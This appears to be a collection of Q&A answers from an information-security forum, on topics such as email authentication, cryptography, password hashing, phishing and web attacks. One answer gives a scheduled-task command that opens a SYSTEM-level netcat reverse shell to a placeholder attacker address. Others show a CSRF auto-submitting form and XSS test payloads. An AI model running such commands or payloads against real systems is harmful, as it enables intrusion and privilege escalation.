There is an element of risk in enforcing DMARC or publishing a DMARC policy other than p=none, but the reports actually give you a LOT of information and allow for a controlled implementation. It is essential to know your mail flows and who administrates them. Also, test test test as much as possible with dummy mail flows (netcat is your friend)!

Finally, remember that AOL et al. only send you the results of their DMARC checking of mails sent from your domain (or someone who spoofs it). So if a test is flagged as failed, it indicates a problem on your side, not theirs :)

HTH,


I am a member of the Administrators group on a Windows 7 box, how can I spawn a reverse shell with elevated privileges?

As your whoami command states, your current user is user, and user is an administrator already, as your net command states.
That means that you won't gain anything in terms of privileges if you try to execute a command as administrator with runas.
You mention that your goal is to get a reverse shell as nt authority\system.
A member of the administrators group has the privilege to create a task that will run as nt authority\system with the following command for example:
 schtasks /create /sc minute /mo 5 /RU SYSTEM /tn myprivesc /tr "nc.exe -e cmd.exe <attacker_ip> <attacker_port>"


What applicability does the Halting Problem have to infosec?

Established expert... that would be me (although not under this name -- I use a pseudonym because I am tremendously humble). Allow me to answer, then.

The "halting problem" is indeed an illustration of the impossibility to decide (for a computer) whether a given program will halt or not. Of course, a lot of programs are decidable, but not all of them. People tend to think that if we could accurately "predict the behaviour" of computer programs, then malware would not be possible. This is oversimplistic, for the following reasons:

The "halting problem" is about deciding whether a computer program will stop, for a given input which is known a priori. This model works only about programs which are pure calculation, and do no I/O. By definition, this does not apply to any application which is connected to the Internet or can be controlled by a human. As an illustration, consider an application which runs a video. This one will never stop as long as the human user clicks on the rewind button. But it may stop (and it should be easy to prove) if the user does not click on any button.
Decidability is about whether a given function can be evaluated at all, but not whether it can be evaluated efficiently. If you want an antivirus to scan for malware, you want the answer within 2 or 3 seconds -- not in ten years. This notion of decidability does not capture all the things in which we are interested.
We can have requirements. Consider a Java application. It is written in bytecode which is amenable to (efficient) automatic proofs. Namely, the JVM will prove, in a very formal way, that the code complies to the type rules of Java (that it never calls a method on a class which does not feature that method). It is not possible to make such a proof generically, on every possible sequence of bytecode instructions; but valid Java code is bytecode which can be proven in such a way. This means that it is possible in practice to enforce requirements of "proofability" for existing code. In a "halting problem" point of view, this would be like stating that programs for which the halting behaviour cannot be determined absolutely (and quickly) will be unceremoniously prevented from execution.
We are not interested in whether a program will halt, but whether a program will do evil things. I am all for a computer to alter my bank account... as long as that is what I want. The difference between me, the human/ursine user, managing my money through the bank's Web site, and a malware, siphoning my precious gold through the bank's Web site, is not something which exists in the world of computers. There is no notion of Evil in computers. If I want security, I must first define with all the needed precision what exactly I want to allow computers to do, and what I don't want. Before asking myself whether a computer program will be able to automatically decide if my core security properties will be respected by a given piece of code, I must first define these properties, and that initial part of the work is far from being done. Making computers guess what is Good is an old problem which seems hard.

For these reasons, I claim that invoking the "halting problem" is a poor excuse. It does highlight the fact that we are dealing with issues which require a bit more thinking than writing yet another PHP Web site. But it does not imply that security is not possible, only that Science will not come up with a magical tool which will solve it effortlessly (because this Blessed +3 Hammer of Decidability would also solve the halting problem, which is not mathematically possible).


Cryptographically prove open sourced source code of server

This is essentially an impossible task.
If you have read Ken Thompson's "Reflections on Trusting Trust", then you already know everything I am about to say. If not, please keep reading:
Imagine I publish an open-source project, that is written in some language, and simply takes input and returns the input unchanged - like a very simple version of echo. You download my source code, read through it all (it's just a few lines long anyways) and then you compile it. You can be sure that your program does exactly what you think it does, right?
Wrong.
How do you know that your compiler didn't add any extra instructions, such as checking whether or not the input's sha-256 hash is e257f6eccac764b6cea785a0272e34d3dbc56419eac2ad436b9fb4bddcd10494 and if it is, do something unexpected.
You might say that that is unlikely, but you cannot ever be fully certain of it. But perhaps you want to be fully certain of it, right? After all, you want to cryptographically prove that the software you are running does exactly what the source code says it should do. So you inspect the binary with a reverse-engineering tool, like Ghidra or IDA Pro. But...how can you be sure these tools do what you think they do? Sure, on the surface they might seem as if they show you the binary as it is, but how can you be sure that they don't hide the maliciously inserted code from you?
You could completely forego existing compilers and write your own in bytecode, byte by byte, instruction for instruction, but how would you do that? You need some program that writes those bytes to disk. How do you know that those are not infected and write some extra bytes?
And even if you completely forego programs and just use a magnetized needle and a steady hand, how can you be sure that your CPU actually runs the instructions you want it to run and doesn't run some extra instructions? After all, CPUs run microcode these days, which is difficult to inspect.
In summary...
... it's extremely hard to prove that a computer does what we think it does. Can you show some hash of some source code or deployment state to show something to your customers? Of course you can. But that really doesn't mean anything.


My suggestion is a little different to what you asked:

Download the app Packet Capture from the Google Play Store and install it on your Phone.

Start the app, skip the generation of the root certificate (or generate one - this will help you decrypt SSL traffic), and start a capture.

You can then capture and analyze packets directly on your phone - without using wireshark on your PC.It is quite convenient for your specific case.


What security standards apply to physical security for an infosec office

You probably want to have a look at the ISO 27001 standards.

https://www.itgovernance.co.uk/iso27001

Here are a couple of web pages specifically focusing on the physical aspects of offices for security:

https://www.churchillsecurity.co.uk/2017/03/08/iso-27001-protect-secure-areas/

https://advisera.com/27001academy/blog/2015/03/23/physical-security-in-iso-27001-how-to-protect-the-secure-areas/

Google the following terms to find many others:

iso27001 physical security of offices


How to reduce the size of a key established with Diffie-Hellman?

Diffie-Hellman allows two parties to generate a secret value that cannot be reconstructed from observing their communications. The size of the secret value resulting from the key exchange (ga b mod p) is indeed the same size as the prime, however its entropy may be less if a and b are chosen in a smaller space. Picking a and b to be 256-bit random numbers gives you 128-bit security for the resulting secret value.

In principle, the resulting secret value has some mathematical structure, and you shouldn't use it as is. Instead, you should hash it and use the result as your symmetric key. More precisely, you should use the shared secret as input to a key derivation function. Not a password-based key derivation function: the secret value has sufficient entropy and doesn't need to be strengthened, only stretched.

RFC 2631 specifies a way to derive key material from the shared secret: SHA-1(ZZ || type || ctr) where ZZ is a byte encoding of the shared secret, type indicates what kind of material is being derived, and ctr is a byte encoding of a counter. It's obviously ok to use another hashing function such as SHA-256 or SHA-512 instead of SHA-1.

The exact way the key material is derived isn't actually important, as long as the two parties agree. For example, if you only need 256 bits, then SHA-256(ZZ) would be ok. The point of tacking on a counter is when you need more than what one run of the hash function can provide. In the interest of future-proofing your protocol, it would be advisable to follow the RFC. If you only need to derive one key now, you can hard-code the corresponding ASN.1 encoding of the type and counter as a string literal in your application.

Actually, it turns out that using the DH shared secret directly is “not too bad”. Nonetheless, you should wring it through a KDF (at least hash it): it's easy, quick, more secure, more standard, and more future-proof.


How to determine the threat agent for analyzing risk of a threat?

First and foremost you must consider the business goal of the application. Only after you have determined the business goal you are able to define your threat agents. Discuss the motives for the threat agent, i.e., is it likely that a state or nation is going to attack your application? is it likely that a script kid would attack your application? Why and why?

For a first threat modeling exercise I suggest you start easily with 1-2 likely threat agent(s) just to get going. However, for a complete threat modeling you should consider each likely threat agent and iterate through the full application for each threat agent.

Just a side-note to your example list, do not forget about unintentional human attacks, just Google and you'd easily get your hands of a list with possible threat agents.

I personally like this video for threat modeling:
https://www.youtube.com/watch?v=We2cy8JwVqc


RFC 5751 describes the packaging of signed and enciphered data using certificates. http://tools.ietf.org/html/rfc5751

http://tools.ietf.org/html/rfc5751#page-18 This link provides information about creation of SMIME messages using the certificates; where SMIME can be sign only message or sign and encrypt message etc.

It is not necessary to have signature and encryption together, based on the implementation you can have only signatures implemented. Also some implementation might require a user to have 2 certificates where one is used for signing and one for encryption.

In normal case in which each user have one certificate and signing and encryption both are implemented, the process is as follows:
The sender of the mail will sign the message with senders private key and encrypt the message with receivers public key.


Not encryption
This is not encryption. This is hashing. There is no way back.

So I think what you're really asking about is black box reverse engineering. Like so >>If I have a black box algorithm and throw many strings into it and observe the strings that come out, will I be able to copy the black box in a simple way?<<

And the answer is "No". There is no general way of doing this.
You could of course brute force it and just throw a huge amount of strings into it and then save the output somewhere. And then do a table lookup.

But for the 2^256 (32 bytes) many entries that table would not be storable on earth. Or in this universe.

Enemy already knows the algorithm
Now regarding encryption: You generally don't try to guess at an algorithm, instead you assume that the enemy knows the algorithm and you try to make him guess at the key.

This is a design principle known as Kerckhoffs's Principle. And it's generally thought to be a good thing.


I may have given a check to a scam organization is my account at risk

Yes they can. I would contact your bank immediately and have them put a hold on your account or have your account number changed. You could also try filing a police report but its usually next to impossible for them to arrest anyone. Just a FYI for next time:

Find out if they are a legally registered charity. If your unsure, do a search for them on Google or Bing.
Especially avoid charities that contact you 24x7 and tell you some BS story. If they continue to bother you, most countries require that they remove your information so they can't contact you anymore (if they don't then obviously they are a fake)
Avoid contact via email especially and avoid giving them more information then what they already have.
There is a good list of tips at http://www.ic3.gov/media/2011/110311.aspx


How to sniff 802.11 packets without going into monitor mode?

No.  You absolutely can see frames you generate or are destined for your radio without monitor mode. With the exception of the initial 802.1x handshake, unfortunately.  You will need something like wireshark or tcpdump.  However if you're talking about the 802.11 EAP you'll need a device you can use in monitor mode since they aren't passed through as standard frames: (might I suggest an ALFA AWUS036H)

They both rely on something called libpcap to allow you access to the layer2 messages your network devices see. Now this isn't perfect and the packets can get modified before you see them by your NIC.  (eg. if you're capturing on a windows system, you'll likely see errors for TCP and IPv4 Checksum mismatches, that's due to a feature called TCP Offload Engine.)  Monitor mode should get passed those limitations.

Unfortunately I'm not aware of any way to grab the pre-auth 802.1x packets without monitor mode.  The first frame you'll see inside a pcap like this is likely the DHCP request frame.

What might work, is if you install a virtualization environment (VirtualBox or Vmware for instance) and then attempt to setup bridge mode on the interface and then use the virtual adapter to snoop the 802.1x frames.   You will need to authenticate within your virtual machine but then you could presumably snoop it through the virtual interface.


How to identify where XSS is actually executed?

This could be a DOM XSS, meaning that the script tag is injected using JavaScript instead of the server. Try opening up the developer console (F12) and injecting one of these values:

<script>debugger</script>, opens the debugger. Check the call stack on the right to see what is going on.
<script>throw "XSS"</script>, and check the console for where the error occurred.

The injected script would still be visible in the DOM that is displayed in the developer console (or with "Inspect element"), even if it is not in the HTML source.


User password as key instead of hashing it

You do store the "hashed" password. To be precise, you store some data on the server:

A value S (the "salt").
The "master secret" M (which cannot be really secret, since the server stores it "as is" somewhere in its entrails).
E(h(M||S),K): encryption of the hash of the concatenation of M and S, using key K which is derived more or less directly from the user password.

Given these data elements and a potential password P, it is possible to do some computations which result in a boolean result: P is the correct password, or not. That's normal: the server must be able to verify an incoming password, using what the server "knows" only. But if the server can do it, an attacker who got a copy of the server data can do it too. That's unescapable. The stored data elements cannot be directly used to recompute the password, only to verify a given password, so that's one-way.

This is called password hashing. That there is a so-called "master secret" and that an encryption function is internally used are just red herrings; you are simply making a custom password hashing function.

There can be some value in the "master secret" if you actually manage to keep it "secret". The server must know it in order to operate, so it is not really hidden, but you can arrange for it not to be stored in the database, keeping it out of reach of usual SQL injection attacks. It won't do anything against an attacker who obtained a root shell on your server, though.

Using such a "secret" in a password hashing function is called "peppering" and the normal, cryptographer-approved way of doing it is to make the password hashing function a MAC with the "secret" as key.

See this long answer for a primer on password hashing, its concepts, tools and terminology.


How can I secure the content of my Windows laptop in case it is stolen?

Windows 10 Home has Full Disk Encryption built in.
This is more than enough to protect your data from theft.
If you’re worried about the NSA, you may want to use a different encryption solution like VeraCrypt.

Win10 professional also has BitLocker built in, a more powerful encryption solution than de Home version default. But this sends your recovery keys to the microsoft server. Very convenient but maybe less private.


Reusing the password as part of the salt is, on a general basis, not recommended. The password is secret, and information may leak that way, depending on the internal details of the hash function. I suggest you refrain from it.

The username is, by itself, a not-too-good salt, but if you only have that, then use it. The one and only property of salts is uniqueness. When using the username as salt, you run the risk of salt collisions when:

The same username is used in two distinct systems (e.g. if each system instance has an "admin" user with that exact username, it becomes worthwhile for attackers to compute rainbow tables using "admin" as salt).
A user changes his password (old and new password then use the same salt, and an attacker may attack both in parallel).

If your usernames are unique worldwide (e.g. email addresses) then the first problem is avoided. A variant is to use as salt the username with, as suffix, a '@' sign followed by the server name. For password changes, you can diminish the intensity of the issue by the simple expedient of not requiring regular password changes from your users (these don't improve security anyway).


Can we detect malicious redirections by retrieving the webpage's headers?

The redirection can be performed in various other ways (like JavaScript) which will not involve sending any headers. So no, headers are not a reliable source.


Web browser password management security

Personally, I use browser-based password managers.  As far as I'm concerned, they're secure enough.

I don't bother with a master password, as (a) no one else uses my machines, (b) I have good physical security on them, and (c) my machines are secured enough that I'm not very worried about malware on them.  As far as I am aware, browser-based password managers are fine for almost all web sites (including, e.g., webmail, e-commerce, etc.).

I do make one exception: I do not trust my online banking passphrase to my browser's password manager.  (But my bank has things set up so that my online banking passphrase won't be stored in my browser's password manager anyway.)

The primary downsides with browser password managers is (as far as I am aware) not security, but rather convenience: if you use have more than one computer (e.g., a home PC and a laptop), then you'll need to manually keep the passwords on all of them in sync.  If you are in that situation, you might look at Firefox Sync or Chrome password sync, to keep your passwords updated on all your browsers.  In that situation, make sure your master password is long and strong.


Is appending a salt before hash generation enough

You do not need to salt in HMAC, per my best understanding. Salting prevents rainbow tables of common hashed things - in the case of passwords, this is because there are lots of people with the same password, way too often. In an HMAC algorithm, you are hashing a message and secret key, concatenated in a specific way. This is not something there will be a rainbow table for, so salting is not necessary. The answer you see has to do with password hashing, not HMAC.

https://tools.ietf.org/html/rfc2104 is probably how you want to do this - but really, implementing this sort of thing yourself is rarely what you want to do. Use libraries for cryptographic functions, choosing ones that have been studied and reviewed by cryptographers.

More detailed questions are probably best asked in crypto.stackexchange.com, rather than here

EDIT to clarify: Note that for a straight hash, you have HASH(message) - message has only one part.  When you talk about prepending a salt, then it's HASH(CONCATENATE(hash,message)).  When an RFC2104 HMAC is in place, you have HMAC(key, message).  PBKDF2, defined in RFC2898 PKCS #5, uses HMAC with salt, message, where some additional math applies so that the output of the each HMAC iteration feeds into the next HMAC round.


I don't think this is security flaw on its own (please read below, as this statement is general and not particular to that plugin), but it does go against good practices, as no one should allow access a resource if that resource doesn't need to be exposed.

This might be a security problem if any of the files exposed have any kind of private data (such as configuration files with DB credentials, or API keys to call a remote service). And even something less desirable is that maybe everything is OK now, but something in your installation might change in a few months and start exposing data, so this means that you might need to re-validate your assumptions with each update.

Bottom line, try to follow good practices and do not allow access if it's not required. Plus wordpress is a very common target for attacks, which increases the risk.


There isn't one list for this. There are numerous, all with their own goals, policies for listing and delisting.

About this specific list: I'm involved in abuse at ISP's for quite a number of years I've never heard of it. Looking at their website there are a few thing that makes me not want to use it:

there's no clear, documented listing policy. It looks like everyone can fill in the form and then it's listed so any IP can end up on that list, possibly without any verification or proof. The number of complaints required to make it to this list isn't specified, so it may very well be that even one complaint is enough. The lack of a documented listing policy is bad for IP owners, but also for users of the list, because they may just as well be blocking IPs which aren't causing problems but which were added for (for them) wrong reasons to the list.
there's no delisting policy. Combined with the first argument that's a bad thing, because one of your IPs may be listed wrongly. Also, if there was abuse, once you fixed the abuse problem and you want to use the IP again you have no possibilty to have the IP removed again.
In addition to not having a delisting policy, it's impossible to conctact to ask information about a listing. So if one of your IPs listed you have a heard time to trace this complaint back to a user and actually fix the problem.
their contact address is sales@abuseipdb.com, which makes me think they may have some other motives than the good of the internet with running this database.

For an ISP I'd never consider using a list which doesn't have clear criteria on listing and delisting.

For the IP you mentioned it may be more useful to contact the owner of the IP block, Amazon, using their abuse contact page. They may actually take action on the machine running these SSH scans. Then again, personally I'd just install fail2ban and/or a firewall on my machine and move along, SSH scans are part of the internet nowadays, unfortunately.


Is it safe to give my email address to a service like haveibeenpwned in light of the publication of "Collection #1"?

This question was explained by Troy Hunt several times on his blog, on Twitter and in the FAQ of haveibeenpwned.com
See here:

When you search for an email address
Searching for an email address only ever retrieves the address from storage then returns it in the response, the searched address is never explicitly stored anywhere. See the Logging section below for situations in which it may be implicitly stored.
Data breaches flagged as sensitive are not returned in public searches, they can only be viewed by using the notification service and verifying ownership of the email address first. Sensitive breaches are also searchable by domain owners who prove they control the domain using the domain search feature. Read about why non-sensitive breaches are publicly searchable.

See also the Logging paragraph
And from the FAQ:

How do I know the site isn't just harvesting searched email addresses?
You don't, but it's not. The site is simply intended to be a free service for people to assess risk in relation to their account being caught up in a breach. As with any website, if you're concerned about the intent or security, don't use it.

Of course we have to trust Troy Hunt on his claims, as we have no way of proving that he is not doing something else, when handling your specific request.
But I think it is more than fair to say, that haveibeenpwned is a valuable service and Troy Hunt himself is a respected member of the infosec community.
But let's suppose we don't trust Troy: what do you have to lose? You might disclose your email address to him. How big of a risk is that to you, when you can just enter any email address you want?
At the end of the day, HIBP is a free service for you(!) that costs Troy Hunt money. You can choose to search through all the password databases of the world yourself if you don't want to take the risk that maybe a lot of people are wrong about Troy Hunt, just because then you would disclose your email address.


Which HTTP Compression should I use (and how?)

BREACH is an issue with how compressed data is used, not what compression algorithm is in use. If you are sending sensitive data (CSRF tokens, for example) or using dynamic content, then HTTP compression may make it possible to reveal the secrets. For static or non-sensitive content, any compression technique is fine. In order to support most browsers, you should use DEFLATE or gzip.


Can I combine two of SHA-3 candidates cryptography hash functions and obtain more secure Algorithm?

For increased protection against collision vulnerabilities, compute both hashes and store them both. Combining them is an unnecessary step. The resulting protection is equal to the stronger of the two.

Keep in mind that there are some other scenarios to keep in mind:

If you hash a message with H1(H2(m)) you only get collision resistance from H2.
If you hash a message as H1(m) ⊕ H2(m) you get exactly the same security as not xoring the two together, since a collision on H1 will be negated by the fact that H2 changes the resulting hash.
It may turn out that if an attacker knows both H1(m) and H2(m), where H1 and H2 are different hash algorithms, they can deduce some information about m. This is unlikely, and I'm unaware of any attacks that do this, but it's an interesting concept. This is not applicable to your scenario, since you're only dealing with integrity, but it's an interesting concept.


How short can a shortened base 62 url path be and be reasonably protected from a brute force attack?

Only YOU can stop brute force attacks!

But, seriously - we must model what it is that we have, and what we want to achieve.

Let us start with how many "real" URLs we need. Let this number be N.

Now assume there is some level of protection (possibly none; actually, bandwidth and computing power to receive the request and reply with a 404 Error always provides a practical, if possibly very high, limit) against brute force attacks, that limits them to M attempts per second.

Finally let us assume that by "stopping brute force" we mean we want the URL to remain secret for an average time of T seconds.

When brute forcing an item from a space of cardinality K, the first attempt has a probability of (K-1)/K of failing (all values but one of the K available are incorrect). The second has a probability of (K-2)/(K-1), because the space to be explored is now diminished to K-1, and all these values but one are still incorrect. The probability of failing both attempts is the product of the two probabilities, so ((K-1)/K)*((K-2)/(K-1)), which is (K-2)/K. In the end, the probability of failing all of the first H attempts is (K-H)/K.

If we want, say, a 99% probability of the URL to remain undisclosed for T seconds (which equates to M*T attempts), it must be that the unknown number of possible values K is such, that (K-MT)/K = 99%, or (K-MT) = 0.99*K, which means M*T = 0.01*K; or K = 100*MT (for a generic safety probability of P%, it is K = MT*100/(100-P) ).

This gives us K for any given M, T and P.

We need this K to hold for all our N codes, so the actual width of the data space must be MNT/(100-P).

If we can limit the attempts to 10 per second, and want one year's leeway (about 32 million seconds) with a safety of 99% for our 10 million codes, 10*1E7*3.2E7*100 = 3.2E17. Since log10 of 62 is about 1.7924, CEIL(18/1.7924) = 11 should be a reasonable figure.

In the end, the number we seek is CEIL(LOG10(MNT/(100-P))/LOG10(62)).


Signing the same solution (list of files) by multiple CA

Yes, but it's not entirely straight-forward.

I assume you're talking about Windows code-signing. Any .exe file can have a signature embedded in it:

As far as I know, this format only allows a single signature. (though the Microsoft code signing format is very similar to CMS that's used for S/MIME and a few other protocols, so it could in theory carry multiple signatures).

@eckes mentions in comments that you can do detached PGP signatures and present multiple of them. That's ok if you're willing host multiple .sig files next to your software download, and expect users to verify these manually. If you're using standard Microsoft X.509 signatures, then unless I'm missing something, you'll need to provide multiple versions of your binary, each with a signature from a different CA... which seems like it defeats the purpose of proving that it's the same binary.


NSS / OpenSSL tradeoff on an embedded linux application which uses a TPM via pkcs11?

Depending on what you are trying to do, you might get away with using neither NSS nor OpenSSL. PKCS#11 is an API that provides functions for running cryptographic primitives over keys; it is conceivable to use that API directly instead of through an extra library.

You would need NSS or OpenSSL if you need some non-PKCS#11 functionality, e.g. support of X.509 certificates or SSL. But if your application only calls for, say, raw signatures, then using PKCS#11 directly can be a reasonable thing to do.

As for lines of code, they don't nearly matter as much as binary size for embedded systems. The ratio of lines of code to binary size is not fixed; it depends on language, coding style, amount of comments, auto-generated code upon compilation... In fact, the fastest way to get the information you seek is probably to try both library (and possibly the no-library option) and see for yourself how well they fit your environment, compilation process and size constraints.


How can a phishing page know my account information?

To answer the top-level question, lots of possibilities here:

It was an actual Google login page, aiming to get you to do something (like grant access to a malicious service) other than steal your credentials.
The picture was the same HTML img tag that Google uses on their own login page, which naturally retrieved your picture when used with your browser (cross-domain loading of images is normal and generally allowed).
It was content overlaid on the Google page, probably using an iframe. This is probably not the case, as Google blocks iframes on most sensitive pages.
You had shared information (including name, picture, email address, etc.) with a third-party site (such as a forum, social media, or so on) and that information was used to create the phishing page.
You had communicated with, or at least allowed communication with, the attacker over some network (such as Google Hangouts or Skype or something) that displays an image and your email address.
The attacker guessed your information on the basis of your email address and/or name, if they had that from elsewhere or were just able to guess it.

Several of these can be combined (for example, the second bullet - using Google's usual image link - might combine with knowing your email address from a third-party site).

I use the same password for a lot of websites. (more than 150)
Do I have to change that password for all the websites?

YES!
I cannot stress strongly enough how terrible an idea it is to repeat the same password across so many sites! That is ESPECIALLY true if it includes sensitive sites (like your email account, which can usually be used to reset the password for anything else) and also casual, low-sensitivity ones (which, if you have over 100, it almost certainly does)!
To be clear, this isn't because you visited a phishing page. Just clicking the link, but leaving before you entered anything, is usually not a disaster. It's not even because the page had your account info; that's concerning but not hugely so (see the first part of the answer). This is because re-using passwords is never a good idea.
What happens if one of the sites gets compromised? Have you checked https://haveibeenpwned.com/ to see if your account was ever breached? If so, they got all your sites!
What happens if one of the sites you used has an untrustworthy administrator or is straight-up malicious? Allow XKCD to illustrate this for me: https://xkcd.com/792/
So... how do you avoid password reuse, when you've got so many sites?
Use a password manager
There are multiple good ones out there. LastPass and 1Password are probably the best known, but there are others (this site discourages recommending specific products). Password managers have all kinds of good properties:

They remember, and can auto-fill, any number of unique passwords (even multiple passwords for one site, if needed).
They can generate random passwords (humans are terrible at this).
They keep a record of all your accounts so you never have to wonder whether you have one, or what its info was.
They can store other info beyond just passwords, like usernames and those BS "security question" answers.
They can even store payment card info and other secrets like that.
They can report when passwords are re-used across sites (again: THIS IS VERY BAD).
They can securely share passwords (or other items) between users, if you need to e.g. share your password to a particular account with your spouse.

One last thing:
Turn on multi-factor authentication
Many sites - especially security-conscious ones - let you use multiple factors (not just a password) when you log in. This means that even if somebody gets your password they still can't log in as you! Very important. There are lots of choices for the second factor (passwords are still usually the first). The better forms of MFA can even protect against phishing pages.
In order of increasing quality:

SMS or phone call - weak (it's easy to hijack phone numbers), but better than nothing.
TOTP (Google Authenticator and the like) - can be kind of a hassle but decently secure and widely supported.
One-time codes from an external device (like a Yubikey or RSA authenticator) - sometimes more convenient than TOTP apps, possibly harder to steal.
Push notification to an app - not widely supported, but more convenient and pretty secure.
U2F / FIDO2 from the browser/machine - can protect against phishing attacks, very convenient if you always use the same device (or small number of devices) and they support it.
U2F / FIDO2 from an external device (Yubikey or similar) - protects against phishing, very secure, usually pretty convenient, not super common yet but getting better.


What danger can brief LAN access to my router cause?

Hard to say without knowing exactly what was done, but if it is a wireless access point router with a WPS button, I'd be concerned that the intruder used the WPS button to authorize his device to connect to your wireless, then sat in his car on the next street out of your line of sight with a device connected to your net. Now the intruder can take plenty of time probing all your devices for vulnerabilities, etc.

Also, your windows file sharing and such is usually fully enabled on your internal net, and one doesn't usually think about share and file permissions too much because it is not accessible to anyone except you and your household members..... if the attacker has a device on your internal net, he can grab your files if they are not secured well.

Perhaps he has also gotten into your router's admin page (most people leave it with the default passwords -- again relying on the fact that only trusted people within the household could even get to the page). Once in your router's admin settings, he is likely going to reconfigure your DHCP server to hand out DNS server address to your devices which points to a DNS server that the attacker has stood up in order to redirect access to real sites like gmail, facebook, etc. which send you to fake sites that look like those sites login page but the credentials you enter are captured and sent to the attacker.

He would also likely reconfigure your firewall to allow himself to come in from the public Internet into your internal net.

These are just  a few thoughts of what this person might have been doing. I would look very closely at every device connected to your network, and verify every single one, and I'd check that very frequently to see if anything else pops up. Check all your settings to see if anything changed, paying particular attention to DNS addresses and your firewall rules. I'd change the router password and the WIFI SSID and secrets.


I think you're making assumptions about how the API and API client work that are wrong.
Your best bet is to look at the examples and extensive documentation here:
https://www.zaproxy.org/docs/api/
Also while I can understand the urge to jump right in and automate things, you'll have a much easier time if you get it working in the desktop UI first. Then automate it.
If you're only seeing the methods you listed then it seems you have v0.17 of the python API package (or well at least not the latest 0.0.18 version that corresponds with Zap 2.10) .
user@host:~$ pip install -Iv python-owasp-zap-v2.4==0.0.17 --quiet
user@host:~$ pip show python-owasp-zap-v2.4|grep Version && python3 ./test.py
Version: 0.0.17
['get_authentication_credentials', 'get_authentication_credentials_config_params',
'get_user_by_id', 'new_user', 'remove_user',
'set_authentication_credentials', 'set_user_enabled', 'set_user_name', 'users_list', 'zap']
user@host:~$ pip uninstall python-owasp-zap-v2.4
...
user@host:~$ pip install python-owasp-zap-v2.4 --quiet
user@host:~$ pip show python-owasp-zap-v2.4|grep Version && python3 ./test.py
Version: 0.0.18
['authenticate_as_user', 'get_authentication_credentials',
'get_authentication_credentials_config_params', 'get_authentication_session',
'get_authentication_state', 'get_user_by_id', 'new_user', 'poll_as_user',
'remove_user', 'set_authentication_credentials', 'set_authentication_state', 'set_cookie',
'set_user_enabled', 'set_user_name', 'users_list', 'zap']

So while you stated When I run pip install python-owasp-zap-v2.4 I get: Requirement already satisfied. That simply means the package is installed, not necessarily latest because you didn't ask pip to upgrade it.
https://pip.pypa.io/en/stable/reference/pip_install/

Note that pip install prefers to leave the installed version as-is unless --upgrade is specified.


Possible to submit multiple POST requests using CSRF?

Yep - using an iframe is one approach:

<form name="x" action="http://site/index/dosomething" enctype="text/plain" method="post" target="thing">
<!-- stuff -->
</form>
<iframe name="thing"/>
<script>document.x.submit();</script>


Is there any technical security reason not to buy the cheapest SSL certificate you can find?

For the purposes of this discussion there are only a couple differences between web signing certificates:

Extended vs standard validation (green bar).
Number of bits in a certificate request (1024/2048/4096).
Certificate chain.

It is easier to set up certificates with a shorter trust chain but there are inexpensive certs out there with a direct or only one level deep chain. You can also get the larger 2048 and 4096 bit certs inexpensively.

As long as you don't need the extended validation there is really no reason to go with the more expensive certificates.

There is one specific benefit that going with a larger vendor provides - the more mainline the vendor, the less likely they are to have their trust revoked in the event of a breach.
For example, DigiNotar is a smaller vendor that was unfortunate enough to have their trust revoked in September 2011.


Website being open inside 3d party domain/frame, is this a possible attack?

Note: I assumed the domain in src referred directly to your website.

Possibly clickjacking

  Clickjacking, also known as a "UI redress attack", is when an attacker uses multiple transparent or opaque layers to trick a user into clicking on a button or link on another page when they were intending to click on the the top level page.

An example:

  For example, imagine an attacker who builds a web site that has a button on it that says "click here for a free iPod". However, on top of that web page, the attacker has loaded an iframe with your mail account, and lined up exactly the "delete all messages" button directly on top of the "free iPod" button. The victim tries to click on the "free iPod" button but instead actually clicked on the invisible "delete all messages" button. In essence, the attacker has "hijacked" the user's click, hence the name "Clickjacking".


VMWare Fusion Encryption and Snapshotting

I find very little detail on what kind of encryption they use; at best, I find on this page that VMWare Fusion 4:

  [...] incorporates advanced encryption standard (AES 128-bit) technology to allow you to encrypt virtual machine data, such as the virtual machine state including both the disks and memory, as well as the information for the virtual machine configuration.

So, presumably, the encryption covers everything that goes to the host disk, including the contents of the guest RAM in "pause" state. "AES 128-bit" means that it is possible that the encryption is properly applied. But this is not a guarantee. There is nothing on how the password is converted to a key (a common source of weaknesses).

It can be hazarded that the encryption method does not include an integrity check -- because checking a global MAC upon booting or recomputing it when shutting down the VM would entail reading the whole virtual hard disk, which would take a non-negligible amount of time. I don't believe in partial MAC either because that would wreck page alignment, and chaining the MAC together is a difficult subject. Therefore, I deem it probable that the encryption is "just" encryption, and does not detect malicious alterations.

A consequence is that the confidentiality obtained through encryption is probably not robust against attackers who can have some degree of control on the data inside the VM (e.g. people with guest accounts inside the VM). Mutatis mutandi, the same kind of vulnerability plagued the hard disk encryption of PlayStation 3 in earlier versions (encryption of a disk sector was deterministic and did not depend on the sector location, so you could swap around the sectors from a basic PC to bring target sector into locations which were nominally a user file). It is possible that the VMWare people did a better job, because it can be done, but the lack of information makes it difficult to confirm or infirm.

Due to the unavailability of details, I suggest that you rely on solutions where what happens is more obvious, namely putting your VM on an encrypting volume (e.g. with TrueCrypt, which has much better documentation).


Does malware that comes through outdated apps go away if I uninstall the apps?

Can malware enter my PC through this outdated software?

If the software exposes network services, then most certainly. If not, then the attacker would have to find a way to trigger the outdated software. Like, emailing you an attachment that uses that software.
But entering your PC is just one factor to consider. Escalating access once on your PC is the other very real matter to consider. I can run a process that sends an exploit to this outdated software and gain persistent system access.
Malware doesn't "go away" just because you remove the vulnerable program that might have run it in the first place. Malware is, itself, a program. It would need to be removed.

Is it reasonable to assume that my current antivirus is working
perfectly?

No.
Security has no silver bullet, or perfect solution, and no solution works perfectly 100% of the time. Security is about likelihoods and probabilities and confidence levels. You can be reasonably confident that no simple malware is on your system. A sufficiently complex bit of malware could still be there, but that's not nearly as likely.


Data classification is essential to guide you in terms of resource expenditure - you don't want to spend heavily to protect assets that are of low sensitivity.

The Confidentiality, Integrity and Availability model is very commonly used, however it doesn't really help you define classification standards for your envirnment. You may want to look at at specifics for your needs. For example:

If you hold customer credit card data, PCI-DSS requires it to be protected so you might want to classify it as high.
Similarly personal medical data should be protected (many jurisdictions mandate this through law)

An alternative, if you aren't holding data which comes under regulation, is to classify by business impact. For example:

Data which would heavily impact the business if divulged or destroyed
Data which can be public without impact to the business


Yes, TOTP is cryptographically secure. TOTP is HMAC of current timestamp using a shared secret [1]. HMAC is secure. TOTP produces only 6 digits (20 bits), while protocols like TLS prefer longer MACs (128 bits), but there is no way to predict the next TOTP code (with better than 1 in 10^6 odds) by seeing all previous TOTP codes, without knowing the shared secret.

1 - https://en.wikipedia.org/wiki/Time-based_One-time_Password_Algorithm


Event: ET SCAN Nmap NSE Heartbleed Request

It is both.

